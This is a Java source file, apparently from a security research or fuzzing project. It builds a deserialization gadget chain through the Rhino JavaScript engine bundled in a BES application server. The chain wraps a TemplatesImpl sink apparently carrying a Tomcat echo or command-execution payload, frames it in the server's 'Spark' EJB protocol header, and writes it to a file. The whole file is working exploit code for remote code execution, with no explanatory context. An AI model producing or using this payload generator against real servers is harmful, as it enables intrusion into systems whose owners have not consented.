1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| package fuzz;
import com.bes.ejb.spark.EjbObjectSerializerFactory; import com.bes.ejb.spark.SparkProxySerializerFactory; import com.bes.ejb.spark.protocol.SparkVersion; import com.bes.ejb.spark.tcp.InvocationResponse; import com.bes.ejb.spark.tcp.RequestRawBytes; import com.bes.ejb.spark.tcp.marshal.Spark2Marshaller; import com.bes.ejb.spark.tcp.marshal.Spark2UnMarshaller; import com.bes.ejb.spark.tcp.marshal.SparkJavaMarshaller; import com.bes.ejb.spark.tcp.marshal.SparkJavaUnMarshaller; import com.bes.org.mozilla.javascript.*; import com.n1ght.javassist.TomcatEcho; import com.n1ght.reflect.ReflectTools; import com.n1ght.sink.SinkTools; import com.n1ght.unsafe.UnSafeTools;
import java.io.*; import java.lang.reflect.Method; import java.nio.ByteBuffer; import java.nio.file.Files; import java.util.Base64; import java.util.Hashtable; import java.util.Map;
public class Rhino2 { public static final byte[] PROTOCOL = new byte[]{83, 112, 97, 114, 107}; public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { out.writeObject("java.lang.Object"); out.writeObject(new String[0]); out.writeObject(javaObject); }
private byte major = 0; private byte minor = 0; public void test() throws Exception{
ScriptableObject dummyScope = new NativeArray(10); Map<Object, Object> associatedValues = new Hashtable<Object, Object>(); associatedValues.put("ClassCache", ReflectTools.createWithoutConstructor(ClassCache.class)); ReflectTools.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = ReflectTools.createWithConstructor( Class.forName("com.bes.org.mozilla.javascript.MemberBox"), (Class<Object>)Class.forName("com.bes.org.mozilla.javascript.MemberBox"), new Class[] {Method.class}, new Object[] {Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new NativeArray(10); Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); ReflectTools.setAccessible(makeSlot); Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4); ReflectTools.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); ReflectTools.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); ReflectTools.setFieldValue(initContextNativeJavaObject, "isAdapter", true); ReflectTools.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); ReflectTools.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new NativeArray(10); scriptableObject.setParentScope(initContextNativeJavaObject); makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
NativeJavaArray nativeJavaArray = ReflectTools.createWithoutConstructor(NativeJavaArray.class); ReflectTools.setFieldValue(nativeJavaArray, "parent", dummyScope); ReflectTools.setFieldValue(nativeJavaArray, "javaObject", SinkTools.getTemplates(TomcatEcho.testCalc())); nativeJavaArray.setPrototype(scriptableObject); ReflectTools.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject(); ReflectTools.setFieldValue(nativeJavaObject, "parent", dummyScope); ReflectTools.setFieldValue(nativeJavaObject, "isAdapter", true); ReflectTools.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); ReflectTools.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); serialize(nativeJavaObject); } public void serialize(Object o) throws Exception { SparkJavaMarshaller sparkJavaMarshaller = new SparkJavaMarshaller(); byte[] responseBody = sparkJavaMarshaller.marshal(o); byte[] responsebytes = new byte[18 + responseBody.length]; byte[] header = getHeader(100, responseBody.length); System.arraycopy(header, 0, responsebytes, 0, 18); System.arraycopy(responseBody, 0, responsebytes, 18, responseBody.length);
new FileOutputStream("3.ser").write(responsebytes); } public byte[] getHeader(int requestId, int length) { byte[] header = new byte[18]; this.fillHeader(requestId, length, header); return header; }
public void fillHeader(int requestId, int length, byte[] message) { System.arraycopy(PROTOCOL, 0, message, 0, PROTOCOL.length); message[5] = this.toByteValue(); message[6] = (byte)(requestId >> 24); message[7] = (byte)(requestId >> 16); message[8] = (byte)(requestId >> 8); message[9] = (byte)requestId; message[10] = (byte)(length+4 >> 24); message[11] = (byte)(length+4 >> 16); message[12] = (byte)(length+4 >> 8); message[13] = (byte)(length+4 >> 0); message[14] = 7; message[15] = 1; message[16] = (byte) ((length >> 8) & 0xFF); message[17] = (byte) (length & 0xFF); } public byte toByteValue() { return (byte)(this.major << 4 | this.minor); }
public static void main(String[] args)throws Exception { Rhino2 rhino2 = new Rhino2(); rhino2.test(); } }
|